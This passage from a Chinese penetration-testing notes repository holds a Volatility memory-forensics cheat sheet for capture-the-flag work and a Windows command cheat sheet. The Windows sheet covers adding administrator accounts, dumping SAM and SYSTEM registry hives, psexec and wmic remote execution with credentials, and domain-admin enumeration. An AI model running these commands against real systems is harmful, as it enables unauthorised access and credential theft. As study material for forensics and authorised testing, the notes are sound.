| ``` 87 | volatility -f 1.vmem --profile=Win7SP1x64 notepad 88 | ``` 89 | 显示有关编辑控件(曾经编辑过的内容)的信息 editbox 90 | > editbox:显示有关编辑控件(曾经编辑过的内容)的信息 查看内存中记事本的内容 91 | ``` 92 | volatility -f 1.vmem --profile=Win7SP1x64 editbox 93 | ``` 94 | 提取进程memdump 95 | ``` 96 | volatility -f 1.vmem --profile=Win7SP1x64 memdump -p xxx --dump-dir=./ 97 | ``` 98 | memdump:提取出指定进程,常用foremost 来分离里面的文件 99 | 100 | 需要指定进程-p [pid] 和输出目录 -D 101 | 102 | memdump -p 332 -D XX/ 103 | 104 | 提取进程 -p 进程号 -D 当前输出路径(导出为332.dmp) 105 | 106 | dump出来的进程文件,可以使用 foremost 来分离里面的文件,用 binwak -e 不推荐 107 | 108 | strings -e l 2040.dmp | grep flag 查找flag 109 | 110 | 屏幕截图screenshot 111 | > screenshot:保存基于GDI窗口的伪截屏 112 | ``` 113 | volatility -f 1.vmem --profile=Win7SP1x64 screenshot --dump-dir=./ 114 | ``` 115 | 查看注册表配置单元hivelist(hivelist: 列出所有的注册表项及其虚拟地址和物理地址) 116 | ``` 117 | volatility -f 1.vmem --profile=Win7SP1x64 hivelist 118 | ``` 119 | 查看注册表键名hivedmp 120 | ``` 121 | volatility -f 1.vmem --profile=Win7SP1x64 hivedump -o 0xfffff8a001032410 122 | ``` 123 | 查看注册表键值printkey 124 | ``` 125 | volatility -f 1.vmem --profile=Win7SP1x64 printkey -K "ControlSet001\Control\ComputerName\ComputerName" 126 | ``` 127 | 获取主机名 printkey 128 | ``` 129 | volatility -f 1.vmem --profile=Win7SP1x64 printkey -K "ControlSet001\Control\ComputerName\ComputerName" 130 | ``` 131 | 列出用户名 pringkey 132 | ``` 133 | volatility -f 1.vmem --profile=Win7SP1x64 printkey -K "SAM\Domains\Account\Users\Names" 134 | ``` 135 | 查看运行程序相关的记录,比如最后一次更新时间,运行过的次数等。serassist 136 | ``` 137 | volatility -f 1.vmem --profile=Win7SP1x64 userassist 138 | ``` 139 | 最大程序提取信息timeliner 140 | ``` 141 | volatility -f 1.vmem --profile=Win7SP1x64 timeliner 142 | ``` 143 | 查看剪贴板信息clipboard 144 | ``` 145 | volatility -f 1.vmem --profile=Win7SP1x64 clipboard 146 | ``` 147 | 显示关于计算机及其操作系统的详细配置信息(插件)systeminfo 148 | ``` 149 | volatility -f 1.vmem --profile=Win7SP1x64 systeminfo 150 | ``` 151 | 恢复被删除的文件mftparser 152 | ``` 153 | volatility -f 1.vmem --profile=Win7SP1x64 mftparser 154 | ``` 155 | 查看环境变量envars 156 | ``` 157 | volatility -f 1.vmem --profile=Win7SP1x64 envars 158 | ``` 159 | 列出某一进程加载的所有dll文件dlllist 160 | ``` 161 | volatility -f 1.vmem --profile=Win7SP1x64 dlllist -p 2588 162 | ``` 163 | 程序版本信息 verinfo 164 | ``` 165 | volatility -f 1.vmem --profile=Win7SP1x64 verinfo 166 | ``` 167 | 产看进程树,可以轻松了解各进程之间的关系:父进程与子进程 pstree 168 | > 在进程中PPID比PID还大,那就可能这个进程有异常程序 169 | ``` 170 | volatility -f 2008.raw –profile=Win2008R2SP1x64 pstree 171 | ``` 172 | 从内存文件中找到异常程序植入到系统的开机自启痕迹 shimcache 173 | ``` 174 | volatility -f 2008.raw –profile=Win2008R2SP1x64 shimcache 175 | ``` 176 | ## 思路 177 | ``` 178 | 首先确定镜像是何种操作系统的,命令imageinfo即可获取镜像信息。 179 | 180 | 需要获取的是计算机在这一时刻运行了哪些进程。 181 | 182 | Volatility提供了众多的分析进程的命令,如pstree、pesscan、pslist…… 183 | 184 | filescan命令可以对打开的文件进行扫描。 185 | 186 | 命令dumpfile和memdump命令将相关数据导出,然后对导出的数据进行二进制分析。 187 | 188 | 简单说只要熟悉Volatility工具的常用命令,并能够对结合其他类型的知识(图片隐写、压缩包分析等)对提取出的文件进行分析,便可轻松解决。 189 | 190 | 但当然具体问题具体分析吗 但插件就上面的 191 | ``` 192 | ## 命令 193 | ``` 194 | Volatility Foundation Volatility Framework 2.6 195 | 196 | Profiles 197 | -------- 198 | VistaSP0x64 - Windows Vista SP0 x64 的配置文件 199 | VistaSP0x86 - Windows Vista SP0 x86 的配置文件 200 | VistaSP1x64 - Windows Vista SP1 x64 的配置文件 201 | VistaSP1x86 - Windows Vista SP1 x86 的配置文件 202 | VistaSP2x64 - Windows Vista SP1 x86 的配置文件 203 | VistaSP2x86 - Windows Vista SP2 x64 的配置文件 204 | Win10x64 - Windows 10 x64 的配置文件 205 | Win10x64_10586 - Windows 10 x64 的配置文件 (10.0.10586.306 / 2016-04-23) 206 | Win10x64_14393 - Windows 10 x64 的配置文件 (10.0.14393.0 / 2016-07-16) 207 | Win10x86 - Windows 10 x86 的配置文件 208 | Win10x86_10586 - Windows 10 x86 的配置文件 (10.0.10586.420 / 2016-05-28) 209 | Win10x86_14393 - Windows 10 x86 的配置文件 (10.0.14393.0 / 2016-07-16) 210 | Win2003SP0x86 - Windows 2003 SP0 x86 的配置文件 211 | Win2003SP1x64 - Windows 2003 SP0 x86 的配置文件 212 | Win2003SP1x86 - Windows 2003 SP1 x86 的配置文件 213 | Win2003SP2x64 - Windows 2003 SP1 x86 的配置文件 214 | Win2003SP2x86 - Windows 2003 SP2 x86 的配置文件 215 | Win2008R2SP0x64 - Windows 2008 R2 SP0 x64 的配置文件 216 | Win2008R2SP1x64 - Windows 2008 R2 SP1 x64 的配置文件 217 | Win2008R2SP1x64_23418 - Windows 2008 R2 SP1 x64 的配置文件 (6.1.7601.23418 / 2016-04-09) 218 | Win2008SP1x64 - Windows 2008 SP1 x64 的配置文件 219 | Win2008SP1x86 - Windows 2008 SP1 x86 的配置文件 220 | Win2008SP2x64 - Windows 2008 SP2 x64 的配置文件 221 | Win2008SP2x86 - Windows 2008 SP2 x86 的配置文件 222 | Win2012R2x64 - Windows Server 2012 R2 x64 的配置文件 223 | Win2012R2x64_18340 - Windows Server 2012 R2 x64 的配置文件 (6.3.9600.18340 / 2016-05-13) 224 | Win2012x64 - Windows Server 2012 x64 的配置文件 225 | Win2016x64_14393 - Windows Server 2016 x64 的配置文件 (10.0.14393.0 / 2016-07-16) 226 | Win7SP0x64 - Windows 7 SP0 x64 的配置文件 227 | Win7SP0x86 - Windows 7 SP0 x86 的配置文件 228 | Win7SP1x64 - Windows 7 SP1 x64 的配置文件 229 | Win7SP1x64_23418 - Windows 7 SP1 x64 的配置文件 (6.1.7601.23418 / 2016-04-09) 230 | Win7SP1x86 - Windows 7 SP1 x86 的配置文件 231 | Win7SP1x86_23418 - Windows 7 SP1 x86 的配置文件 (6.1.7601.23418 / 2016-04-09) 232 | Win81U1x64 - Windows 8.1 更新 1 x64 的配置文件 233 | Win81U1x86 - Windows 8.1 更新 1 x86 的配置文件 234 | Win8SP0x64 - Windows 8 x64 的配置文件 235 | Win8SP0x86 - Windows 8 x86 的配置文件 236 | Win8SP1x64 - Windows 8.1 x64 的配置文件 237 | Win8SP1x64_18340 - Windows 8.1 x64 的配置文件 (6.3.9600.18340 / 2016-05-13) 238 | Win8SP1x86 - Windows 8.1 x86 的配置文件 239 | WinXPSP1x64 - Windows XP SP1 x64 的配置文件 240 | WinXPSP2x64 - Windows XP SP2 x64 的配置文件 241 | WinXPSP2x86 - Windows XP SP2 x86 的配置文件 242 | WinXPSP3x86 - Windows XP SP3 x86 的配置文件 243 | 244 | 245 | Address Spaces 246 | -------------- 247 | AMD64PagedMemory - 标准 AMD 64 位地址空间 248 | ArmAddressSpace - ARM 处理器的地址空间 249 | FileAddressSpace - 这是一个直接文件 AS. 250 | HPAKAddressSpace - 此 AS 支持 HPAK 格式 251 | IA32PagedMemory - 标准 IA-32 分页地址空间 252 | IA32PagedMemoryPae - 此类实现 IA-32 PAE 分页地址空间 253 | LimeAddressSpace - Lime 的地址空间 254 | LinuxAMD64PagedMemory - Linux 特定的 AMD 64 位地址空间 255 | MachOAddressSpace - mach-o 文件的地址空间以支持 atc-ny 内存读取器 256 | OSXPmemELF - 这个 AS 支持 VirtualBox ELF64 coredump 格式 257 | QemuCoreDumpElf - 这个 AS 支持 Qemu ELF32 和 ELF64 核心转储格式 258 | VMWareAddressSpace - 此 AS 支持 VMware 快照 (VMSS) 和保存状态 (VMSS) 文件 259 | VMWareMetaAddressSpace - 此 AS 支持带有 VMSN/VMSS 元数据的 VMEM 格式 260 | VirtualBoxCoreDumpElf64 - 这个 AS 支持 VirtualBox ELF64 coredump 格式 261 | Win10AMD64PagedMemory - Windows 10 特定的 AMD 64 位地址空间 262 | WindowsAMD64PagedMemory - Windows 特定的 AMD 64 位地址空间 263 | WindowsCrashDumpSpace32 - 这个 AS 支持 windows 崩溃转储格式 264 | WindowsCrashDumpSpace64 - 此 AS 支持 windows Crash Dump 格式 265 | WindowsCrashDumpSpace64BitMap - 此 AS 支持 Windows BitMap Crash Dump 格式 266 | WindowsHiberFileSpace32 - 这是 Windows 休眠文件的休眠地址空间 267 | 268 | 269 | Plugins 270 | ------- 271 | amcache - 打印 AmCache 信息 272 | apihooks - 检测进程和内核内存中的 API 挂钩 273 | atoms - 打印会话和窗口站原子表 274 | atomscan - 原子表的池扫描器 275 | auditpol - 从 HKLM\SECURITY\Policy\PolAdtEv 打印出审计策略 276 | bigpools - 使用 BigPagePoolScanner 转储大页面池 277 | bioskbd - 从实模式内存中读取键盘缓冲区 278 | cachedump - 从内存中转储缓存的域哈希 279 | callbacks - 打印系统范围的通知例程 280 | clipboard - 提取 Windows 剪贴板的内容 281 | cmdline - 显示进程命令行参数 282 | cmdscan - 通过扫描 _COMMAND_HISTORY 来提取命令历史记录 283 | connections - 打印打开的连接列表 [仅限 Windows XP 和 2003] 284 | connscan - 用于 tcp 连接的池扫描器 285 | consoles - 通过扫描 _CONSOLE_INFORMATION 提取命令历史记录 286 | crashinfo - 转储崩溃转储信息 287 | deskscan - tagDESKTOP(台式机)的 Poolscaner 288 | devicetree - 显示设备树 289 | dlldump - 从进程地址空间转储 DLL 290 | dlllist - 打印每个进程加载的 dll 列表 291 | driverirp - 驱动程序 IRP 挂钩检测 292 | drivermodule - 将驱动程序对象关联到内核模块 293 | driverscan - 驱动程序对象的池扫描器 294 | dumpcerts - 转储 RSA 私有和公共 SSL 密钥 295 | dumpfiles - 提取内存映射和缓存文件 296 | dumpregistry - 将注册表文件转储到磁盘 297 | editbox - 显示有关编辑控件的信息(列表框实验) 298 | envars - 显示进程环境变量 299 | eventhooks - 在 Windows 事件挂钩上打印详细信息 300 | evtlogs - 提取 Windows 事件日志(仅限 XP/2003) 301 | filescan - 文件对象的池扫描器 302 | gahti - 转储 USER 句柄类型信息 303 | gditimers - 打印已安装的 GDI 计时器和回调 304 | gdt - 显示全局描述符表 305 | getservicesids - 获取 Registry 中的服务名称并返回计算的 SID 306 | getsids - 打印拥有每个进程的 SID 307 | handles - 打印每个进程的打开句柄列表 308 | hashdump - 从内存中转储密码哈希 (LM/NTLM) 309 | hibinfo - 转储休眠文件信息 310 | hivedump - 打印注册表 311 | hivelist - 打印注册表配置单元列表 312 | hivescan - 注册表配置单元的池扫描程序 313 | hpakextract - 从 HPAK 文件中提取物理内存 314 | hpakinfo - 有关 HPAK 文件的信息 315 | idt - 显示中断描述符表 316 | iehistory - 重建 Internet Explorer 缓存/历史 317 | imagecopy - 将物理地址空间复制为原始 DD 映像 318 | imageinfo - 识别图像的信息 319 | impscan - 扫描对导入函数的调用 320 | joblinks - 打印进程作业链接信息 321 | kdbgscan - 搜索和转储潜在的 KDBG 值 322 | kpcrscan - 搜索和转储潜在的 KPCR 值 323 | ldrmodules - 检测未链接的 DLL 324 | limeinfo - 转储 Lime 文件格式信息 325 | linux_apihooks - 检查用户态 apihooks 326 | linux_arp - 打印 ARP 表 327 | linux_aslr_shift - 自动检测 Linux ASLR shift 328 | linux_banner - 打印 Linux 横幅信息 329 | linux_bash - 从 bash 进程内存中恢复 bash 历史记录 330 | linux_bash_env - 恢复进程的动态环境变量 331 | linux_bash_hash - 从 bash 进程内存中恢复 bash 哈希表 332 | linux_check_afinfo - 验证网络协议的操作函数指针 333 | linux_check_creds - 检查是否有进程共享凭证结构 334 | linux_check_evt_arm - 检查异常向量表以查找系统调用表挂钩 335 | linux_check_fop - 检查 rootkit 修改的文件操作结构 336 | linux_check_idt - 检查 IDT 是否已被更改 337 | linux_check_inline_kernel - 检查内联内核挂钩 338 | linux_check_modules - 将模块列表与 sysfs 信息进行比较(如果可用) 339 | linux_check_syscall - 检查系统调用表是否已更改 340 | linux_check_syscall_arm - 检查系统调用表是否已更改 341 | linux_check_tty - 检查 tty 设备的钩子 342 | linux_cpuinfo - 打印每个活动处理器的信息 343 | linux_dentry_cache - 从 dentry 缓存中收集文件 344 | linux_dmesg - 收集 dmesg 缓冲区 345 | linux_dump_map - 将选定的内存映射写入磁盘 346 | linux_dynamic_env - 恢复进程的动态环境变量 347 | linux_elfs - 在进程映射中查找 ELF 二进制文件 348 | linux_enumerate_files - 列出文件系统缓存引用的文件 349 | linux_find_file - 列出并从内存中恢复文件 350 | linux_getcwd - 列出每个进程的当前工作目录 351 | linux_hidden_modules - 雕刻内存以查找隐藏的内核模块 352 | linux_ifconfig - 收集活动接口 353 | linux_info_regs - 就像 GDB 中的“信息寄存器”。 它打印出所有 354 | linux_iomem - 提供类似于 /proc/iomem 的输出 355 | linux_kernel_opened_files - 列出从内核中打开的文件 356 | linux_keyboard_notifiers - 解析键盘通知器调用链 357 | linux_ldrmodules - 将 proc 映射的输出与 libdl 中的库列表进行比较 358 | linux_library_list - 列出加载到进程中的库 359 | linux_librarydump - 将进程内存中的共享库转储到磁盘 360 | linux_list_raw - 列出具有混杂套接字的应用程序 361 | linux_lsmod - 收集加载的内核模块 362 | linux_lsof - 列出文件描述符及其路径 363 | linux_malfind - 寻找可疑的进程映射 364 | linux_memmap - 转储 linux 任务的内存映射 365 | linux_moddump - 提取加载的内核模块 366 | linux_mount - 收集挂载的 fs/devices 367 | linux_mount_cache - 从 kmem_cache收集挂载的 fs/devices 368 | linux_netfilter - 列出 Netfilter 钩子 369 | linux_netscan - 雕刻网络连接结构 370 | linux_netstat - 列出打开的套接字 371 | linux_pidhashtable - 通过 PID 哈希表枚举进程 372 | linux_pkt_queues - 将每个进程的数据包队列写入磁盘 373 | linux_plthook - 扫描 ELF 二进制文件的 PLT 以获取非需要图像的挂钩 374 | linux_proc_maps - 收集进程内存映射 375 | linux_proc_maps_rb - 通过映射红黑树为 linux 收集进程映射 376 | linux_procdump - 将进程的可执行映像转储到磁盘 377 | linux_process_hollow - 检查进程空心的迹象 378 | linux_psaux - 收集进程以及完整的命令行和开始时间 379 | linux_psenv - 收集进程及其静态环境变量 380 | linux_pslist - 通过遍历 task_struct->task 列表来收集活动任务 381 | linux_pslist_cache - 从 kmem_cache 收集任务 382 | linux_psscan - 扫描进程的物理内存 383 | linux_pstree - 显示进程之间的父/子关系 384 | linux_psxview - 使用各种进程列表查找隐藏进程 385 | linux_recover_filesystem - 从内存中恢复整个缓存文件系统 386 | linux_route_cache - 从内存中恢复路由缓存 387 | linux_sk_buff_cache - 从 sk_buff kmem_cache 中恢复数据包 388 | linux_slabinfo - 在运行的机器上模拟 /proc/slabinfo 389 | linux_strings - 将物理偏移量与虚拟地址匹配(可能需要一段时间,非常冗长) 390 | linux_threads - 打印进程的线程 391 | linux_tmpfs - 从内存中恢复 tmpfs 文件系统 392 | linux_truecrypt_passphrase - 恢复缓存的 Truecrypt 密码 393 | linux_vma_cache - 从 vm_area_struct 缓存中收集 VMA 394 | linux_volshell - 内存映像中的 Shell 395 | linux_yarascan - Linux 内存映像中的 shell 396 | lsadump - 从注册表中转储(解密的)LSA 机密 397 | mac_adium - 列出 Adium 消息 398 | mac_apihooks - 检查进程中的 API 挂钩 399 | mac_apihooks_kernel - 检查系统调用和内核函数是否被挂钩 400 | mac_arp - 打印 arp 表 401 | mac_bash - 从 bash 进程内存中恢复 bash 历史记录 402 | mac_bash_env - 恢复 bash 的环境变量 403 | mac_bash_hash - 从 bash 进程内存中恢复 bash 哈希表 404 | mac_calendar - 从 Calendar.app 获取日历事件 405 | mac_check_fop - 验证文件操作指针 406 | mac_check_mig_table - 列出内核 MIG 表中的整体 407 | mac_check_syscall_shadow - 查找影子系统调用表 408 | mac_check_syscalls - 检查系统调用表条目是否被挂钩 409 | mac_check_sysctl - 检查未知的 sysctl 处理程序 410 | mac_check_trap_table - 检查 mach 陷阱表条目是否被钩住 411 | mac_compressed_swap - 打印 Mac OS X VM 压缩器统计数据并转储所有压缩页面 412 | mac_contacts - 从 Contacts.app 获取联系人姓名 413 | mac_dead_procs - 打印终止/取消分配的进程 414 | mac_dead_sockets - 打印终止/取消分配的网络套接字 415 | mac_dead_vnodes - 列出释放的 vnode 结构 416 | mac_devfs - 列出文件缓存中的文件 417 | mac_dmesg - 打印内核调试缓冲区 418 | mac_dump_file - 转储指定文件 419 | mac_dump_maps - 转储进程的内存范围,可选地包括压缩交换中的页面 420 | mac_dyld_maps - 从 dyld 数据结构中获取进程的内存映射 421 | mac_find_aslr_shift - 查找 10.8+ 图像的 ASLR 移位值 422 | mac_get_profile - 自动检测 Mac 配置文件 423 | mac_ifconfig - 列出所有设备的网络接口信息 424 | mac_interest_handlers - 列出 IOKit 兴趣处理程序 425 | mac_ip_filters - 报告任何挂钩的 IP 过滤器 426 | mac_kernel_classes - 列出内核中加载的 c++ 类 427 | mac_kevents - 显示进程的父/子关系 428 | mac_keychaindump - 恢复可能的钥匙串密钥。 使用chainbreaker打开相关的keychain文件 429 | mac_ldrmodules - 将 proc 映射的输出与 libdl 中的库列表进行比较 430 | mac_librarydump - 转储进程的可执行文件 431 | mac_list_files - 列出文件缓存中的文件 432 | mac_list_kauth_listeners - 列出 Kauth Scope 监听器 433 | mac_list_kauth_scopes - 列出 Kauth 范围及其状态 434 | mac_list_raw - 列出具有混杂套接字的应用程序 435 | mac_list_sessions - 枚举会话 436 | mac_list_zones - 打印活动区域 437 | mac_lsmod - 列出加载的内核模块 438 | mac_lsmod_iokit - 列出通过 IOkit 加载的内核模块 439 | mac_lsmod_kext_map - 列出加载的内核模块 440 | mac_lsof - 列出每个进程打开的文件 441 | mac_machine_info - 打印有关样本的机器信息 442 | mac_malfind - 寻找可疑的进程映射 443 | mac_memdump - 将可寻址内存页转储到文件中 444 | mac_moddump - 将指定的内核扩展写入磁盘 445 | mac_mount - 打印挂载的设备信息 446 | mac_netstat - 列出每个进程的活动网络连接 447 | mac_network_conns - 列出来自内核网络结构的网络连接 448 | mac_notesapp - 查找 Notes 消息的内容 449 | mac_notifiers - 检测将钩子添加到 I/O 工具包中的 rootkit(例如 LogKext) 450 | mac_orphan_threads - 列出不映射回已知模块/进程的线程 451 | mac_pgrp_hash_table - 遍历进程组哈希表 452 | mac_pid_hash_table - 遍历 pid 哈希表 453 | mac_print_boot_cmdline - 打印内核启动参数 454 | mac_proc_maps - 获取进程的内存映射 455 | mac_procdump - 转储进程的可执行文件 456 | mac_psaux - 在用户区打印带有参数的进程 (**argv) 457 | mac_psenv - 在用户空间打印带有环境的进程 (**envp) 458 | mac_pslist - 列出正在运行的进程 459 | mac_pstree - 显示进程的父/子关系 460 | mac_psxview - 使用各种进程列表查找隐藏进程 461 | mac_recover_filesystem - 恢复缓存的文件系统 462 | mac_route - 打印路由表 463 | mac_socket_filters - 报告套接字过滤器 464 | mac_strings - 将物理偏移量与虚拟地址匹配(可能需要一段时间,非常冗长) 465 | mac_tasks - 列出活动任务 466 | mac_threads - 列出进程线程 467 | mac_threads_simple - 列出线程及其开始时间和优先级 468 | mac_timers - 报告内核驱动程序设置的定时器 469 | mac_trustedbsd - 列出恶意的trustedbsd 策略 470 | mac_version - 打印 Mac 版本 471 | mac_vfsevents - 列出过滤文件系统事件的进程 472 | mac_volshell - 内存映像中的外壳 473 | mac_yarascan - 扫描内存中的 yara 签名 474 | machoinfo - 转储 Mach-O 文件格式信息 475 | malfind - 查找隐藏和注入的代码 476 | mbrparser - 扫描并解析潜在的主引导记录 (MBR) 477 | memdump - 转储进程的可寻址内存 478 | memmap - 打印内存映射 479 | messagehooks - 列出桌面和线程窗口消息挂钩 480 | mftparser - 扫描并解析潜在的 MFT 条目 481 | moddump - 将内核驱动程序转储到可执行文件示例 482 | modscan - 内核模块的池扫描器 483 | modules - 打印加载模块的列表 484 | multiscan - 一次扫描各种对象 485 | mutantscan - 互斥对象的池扫描器 486 | netscan - 扫描 Vista(或更高版本)图像的连接和套接字 487 | notepad - 列出当前显示的记事本文本 488 | objtypescan - 扫描 Windows 对象类型对象 489 | patcher - 基于页面扫描修补内存 490 | poolpeek - 可配置的池扫描器插件 491 | pooltracker - 显示池标签使用的摘要 492 | printkey - 打印注册表项及其子项和值 493 | privs - 显示进程权限 494 | procdump - 将进程转储到可执行文件示例 495 | pslist - 按照 EPROCESS 列表打印所有正在运行的进程 496 | psscan - 进程对象的池扫描器 497 | pstree - 将进程列表打印为树 498 | psxview - 使用各种进程列表查找隐藏进程 499 | qemuinfo - 转储 Qemu 信息 500 | raw2dmp - 将物理内存样本转换为 windbg 故障转储 501 | screenshot - 保存基于 GDI 窗口的伪截图 502 | servicediff - 列出 Windows 服务(ala Plugx) 503 | sessions - 列出 _MM_SESSION_SPACE 的详细信息(用户登录会话) 504 | shellbags - 打印 ShellBags 信息 505 | shimcache - 解析应用程序兼容性 Shim Cache 注册表项 506 | shutdowntime - 从注册表打印机器的 ShutdownTime 507 | sockets - 打印打开的套接字列表 508 | sockscan - tcp 套接字对象的池扫描器 509 | ssdt - 显示 SSDT 条目 510 | strings - 将物理偏移量与虚拟地址匹配(可能需要一段时间,非常冗长) 511 | svcscan - 扫描 Windows 服务 512 | symlinkscan - 符号链接对象的池扫描器 513 | thrdscan - 线程对象的池扫描器 514 | threads - 调查 _ETHREAD 和 _KTHREADs 515 | timeliner - 从内存中的各种工件创建时间线 516 | timers - 打印内核定时器和相关的模块 DPC 517 | truecryptmaster - 恢复 TrueCrypt 7.1a 主密钥 518 | truecryptpassphrase - TrueCrypt 缓存密码短语查找器 519 | truecryptsummary - TrueCrypt 总结 520 | unloadedmodules - 打印已卸载模块的列表 521 | userassist - 打印 userassist 注册表项和信息 522 | userhandles - 转储 USER 句柄表 523 | vaddump - 将 vad 部分转储到文件中 524 | vadinfo - 转储 VAD 信息 525 | vadtree - 遍历 VAD 树并以树格式显示 526 | vadwalk - 走 VAD 树 527 | vboxinfo - 转储 virtualbox 信息 528 | verinfo - 从 PE 图像中打印出版本信息 529 | vmwareinfo - 转储 VMware VMSS/VMSN 信息 530 | volshell - 内存映像中的 Shell 531 | win10cookie - 查找 Windows 10 的 ObHeaderCookie 值 532 | windows - 打印桌面窗口(详细信息) 533 | wintree - 打印Z顺序桌面Windows树 534 | wndscan - 用于窗口站的池扫描仪 535 | yarascan - 使用 Yara 签名扫描进程或内核内存 536 | 537 | 538 | Scanner Checks 539 | -------------- 540 | CheckPoolSize - 检查池块大小 541 | CheckPoolType - 检查池类型 542 | KPCRScannerCheck - 检查自引用指针以查找KPCR 543 | MultiPrefixFinderCheck - 每页检查多个字符串,在偏移处完成 544 | MultiStringFinderCheck - 每页检查多个字符串 545 | PoolTagCheck - 此扫描程序检查池标记的出现 546 | ``` 547 | 548 | 参考:https://blog.csdn.net/m0_68012373/article/details/127419463 549 | -------------------------------------------------------------------------------- /attach/win-command.md: -------------------------------------------------------------------------------- 1 | ### Windows命令速查 2 | 3 | ### 渗透测试常用命令 4 | ``` 5 | ifconfig /all 获取获取域名、IP地址、DHCP服务器、网关、MAC地址、主机名 6 | net time /domain 查看域名、时间 7 | net view /domain 查看域内所有共享 8 | net view ip 查看对方局域网内开启了哪些共享 9 | net config workstation 查看域名、机器名等 10 | net user 用户名 密码 /add 建立用户 11 | net user 用户名 /del #删除用户 12 | net user guest /active:yes 激活guest账户 13 | net user 查看账户 14 | net user 账户名 查看指定账户信息 15 | net user /domain 查看域内有哪些用户,Windows NT Workstation 计算机上可用,由此可以此判断用户是否是域成员。 16 | net user 用户名 /domain 查看账户信息 17 | net group /domain 查看域中的组 18 | net group "domain admins" /domain 查看当前域的管理用户 19 | query user 查看当前在线的用户 20 | net localgroup 查看所有的本地组 21 | net localgroup administrators 查看administrators组中有哪些用户 22 | net localgroup administrators 用户名 /add 把用户添加到管理员组中 23 | net start 查看开启服务 24 | net start 服务名 开启某服务 25 | net stop 服务名 停止某服务 26 | net share 查看本地开启的共享 27 | net share ipc$ 开启ipc$共享 28 | net share ipc$ /del 删除ipc$共享 29 | net share c$ /del 删除C:共享 30 | dsquery server 查看所有域控制器 31 | dsquery subnet 查看域内内子网 32 | dsquery group 查看域内工作组 33 | dsquery site 查看域内站点 34 | netstat -a 查看开启了哪些端口,常用netstat -an 35 | netstat -n 查看端口的网络连接情况,常用netstat -an 36 | netstat -v 查看正在进行的工作 37 | netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况) 38 | netstat -s 查看正在使用的所有协议使用情况 39 | nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 40 | reg save hklmsam sam.hive 导出用户组信息、权限配置 41 | reg save hklmsystem system.hive 导出SYSKEY 42 | net use \目标IPipc$ 密码 /u:用户名 连接目标机器 43 | at \目标IP 21:31 c:server.exe 在某个时间启动某个应用 44 | wmic /node:"目标IP" /password:"123456" /user:"admin" 连接目标机器 45 | psexec.exe \目标IP -u username -p password -s cmd 在目标机器上执行cmd 46 | finger username @host 查看最近有哪些用户登陆 47 | route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface 48 | arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。 49 | arp -a 将显示出全部信息 50 | nslookup IP地址侦测器 51 | tasklist 查看当前进程 52 | taskkill /pid PID数 终止指定PID进程 53 | whoami 查看当前用户及权限 54 | systeminfo 查看计算机信息(版本,位数,补丁情况) 55 | ver 查看计算机操作系统版本 56 | tasklist /svc 查看当前计算机进程情况 57 | netstat -ano 查看当前计算机进程情况 58 | wmic product > ins.txt 查看安装软件以及版本路径等信息,重定向到ins.txt 59 | ``` 60 | 域内命令 61 | ``` 62 | Net use 63 | Net view 64 | Tasklist /v 65 | Ipconfig /all 66 | net group /domain 获得所有域用户组列表 67 | net group "domain admins" /domain 获得域管理员列表 68 | net group "enterprise admins" /domain 获得企业管理员列表 69 | net localgroup administrators /domain 获取域内置administrators组用户(enterprise admins、domain admins) 70 | net group "domain controllers" /domain 获得域控制器列表 71 | net group "domain computers" /domain 获得所有域成员计算机列表 72 | net user /domain 获得所有域用户列表 73 | net user someuser /domain 获得指定账户someuser的详细信息 74 | net accounts /domain 获得域密码策略设置,密码长短,错误锁定等信息 75 | nltest /domain_trusts 获取域信任信息 76 | ``` 77 | -------------------------------------------------------------------------------- /e-books/0day安全:软件漏洞分析技术(第2版).pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/enomothem/PenTestNote/dba3388a2b0cd465d73494fa872833b5171ff2b5/e-books/0day安全:软件漏洞分析技术(第2版).pdf -------------------------------------------------------------------------------- /e-books/ATT&CK手册(修改版)-DeadEye安全团队.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/enomothem/PenTestNote/dba3388a2b0cd465d73494fa872833b5171ff2b5/e-books/ATT&CK手册(修改版)-DeadEye安全团队.pdf -------------------------------------------------------------------------------- /e-books/汇编语言-王爽.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/enomothem/PenTestNote/dba3388a2b0cd465d73494fa872833b5171ff2b5/e-books/汇编语言-王爽.pdf -------------------------------------------------------------------------------- /e-books/渗透测试流程图-思维导图.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/enomothem/PenTestNote/dba3388a2b0cd465d73494fa872833b5171ff2b5/e-books/渗透测试流程图-思维导图.pdf -------------------------------------------------------------------------------- /e-books/白帽子讲web安全-吴翰清.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/enomothem/PenTestNote/dba3388a2b0cd465d73494fa872833b5171ff2b5/e-books/白帽子讲web安全-吴翰清.pdf -------------------------------------------------------------------------------- /e-books/网络安全词汇术语汇编 - v4.0.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/enomothem/PenTestNote/dba3388a2b0cd465d73494fa872833b5171ff2b5/e-books/网络安全词汇术语汇编 - v4.0.pdf --------------------------------------------------------------------------------